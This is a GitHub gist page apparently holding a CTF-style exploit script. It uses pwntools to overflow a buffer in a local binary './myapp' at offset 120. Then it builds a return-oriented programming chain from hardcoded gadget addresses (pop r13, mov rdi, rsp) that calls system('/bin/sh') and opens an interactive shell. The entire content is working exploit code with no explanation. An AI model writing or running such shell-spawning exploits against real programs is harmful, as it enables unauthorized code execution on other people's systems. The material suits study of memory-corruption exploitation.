Skip to content

Instantly share code, notes, and snippets.

@roccogalluzzo
Created October 26, 2019 16:00
Show Gist options
  • Save roccogalluzzo/08e4f053bc40206ed5f20591742eaaa7 to your computer and use it in GitHub Desktop.
Save roccogalluzzo/08e4f053bc40206ed5f20591742eaaa7 to your computer and use it in GitHub Desktop.
from pwn import *
context.arch = 'amd64'
offset = 120
system_call = p64(0x401040)
pop_r13 = p64(0x401206)
mov_rdi_rsp = p64(0x401152)
shell = '/bin/sh\x00'
empty =p64(0x00)
buf = "A"*(offset-8)+shell # Offset + shell
buf += pop_r13 # pop r13, r14, r15
buf += system_call # set r13 to system call
buf += empty # set r14 to null
buf += empty # set r15 to null
buf += mov_rdi_rsp # mov rdi, rsp
p = process('./myapp')
p.sendline(buf)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment